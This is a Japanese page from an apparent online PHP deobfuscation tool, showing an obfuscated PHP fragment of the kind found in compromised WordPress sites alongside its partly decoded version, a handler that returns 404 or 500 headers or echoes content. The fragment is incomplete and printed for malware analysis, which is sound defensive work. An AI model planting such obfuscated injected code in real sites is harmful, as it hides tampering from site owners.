PHP 難読化コードの復元・デコード

Wordpress　等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php @header('Content-Type:text/html;charset=utf-8'); error_reporting(0); $OOOOOO = "%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%...

難読化されたPHPコード

<?php

@header('Content-Type:text/html;charset=utf-8');
error_reporting(0);
$OOOOOO = "%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c%2b%2c";
global $O;
$O = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-\"?> <.-=:/1230654879';()&^\$[]\\\\%{}!*|+,";
if ($oooOoOooOooOoooOOOoOoOoOoOo) {
    $ooooooOOOOOoooOOOOooooooO = func2($var07, $arr1);
    if ($ooooooOOOOOoooOOOOooooooO == $O[70] . $O[67] . $O[70]) {
        header($O[41] . $O[30] . $O[30] . $O[35] . $O[63] . $O[64] . $O[59] . $O[67] . $O[57] . $O[70] . $O[67] . $O[70] . $O[57] . $O[50] . $O[8] . $O[4] . $O[57] . $O[39] . $O[8] . $O[6] . $O[24] . $O[12]);
        exit;
    } else {
        if ($ooooooOOOOOoooOOOOooooooO == $O[69] . $O[67] . $O[67]) {
            header($O[41] . $O[30] . $O[30] . $O[35] . $O[63] . $O[64] . $O[59] . $O[67] . $O[57] . $O[69] . $O[67] . $O[67] . $O[57] . $O[33] . $O[24] . $O[4] . $O[2] . $O[3] . $O[24] . $O[10] . $O[18] . $O[57] . $O[37] . $O[2] . $O[3] . $O[22] . $O[2] . $O[3] . $O[57] . $O[28] . $O[3] . $O[3] . $O[8] . $O[3]);
            exit;
        } else {
            if ($ooooooOOOOOoooOOOOooooooO == $O[23] . $O[18] . $O[10] . $O[24] . $O[17]) {
                echo '';
                exit;
            } else {
                echo $ooooooOOOOOoooOOOOooooooO;
                exit;
            }
        }
    }
} else {
    header($O[41] . $O[30] . $O[30] . $O[35] . $O[63] . $O[64] . $O[59] . $O[67] . $O[57] . $O[70] . $O[67] . $O[70] . $O[57] . $O[50] . $O[8] . $O[4] . $O[57] . $O[39] . $O[8] . $O[6] . $O[24] . $O[12]);
}
?>

デコード(難読化解除)されたコード

<?php

@header('Content-Type:text/html;charset=utf-8');
error_reporting(0);
$OOOOOO = "%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c%2b%2c";
global $O;
$O = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-\"?> <.-=:/1230654879';()&^\$[]\\\\%{}!*|+,";
if ($oooOoOooOooOoooOOOoOoOoOoOo) {
    $ooooooOOOOOoooOOOOooooooO = func2($var07, $arr1);
    if ($ooooooOOOOOoooOOOOooooooO == "404") {
        header("HTTP/1.0 404 Not Found");
        exit;
    } else {
        if ($ooooooOOOOOoooOOOOooooooO == "500") {
            header("HTTP/1.0 500 Internal Server Error");
            exit;
        } else {
            if ($ooooooOOOOOoooOOOOooooooO == "blank") {
                echo '';
                exit;
            } else {
                echo $ooooooOOOOOoooOOOOooooooO;
                exit;
            }
        }
    }
} else {
    header($O[41] . $O[30] . $O[30] . $O[35] . $O[63] . $O[64] . $O[59] . $O[67] . $O[57] . $O[70] . $O[67] . $O[70] . $O[57] . $O[50] . $O[8] . $O[4] . $O[57] . $O[39] . $O[8] . $O[6] . $O[24] . $O[12]);
}

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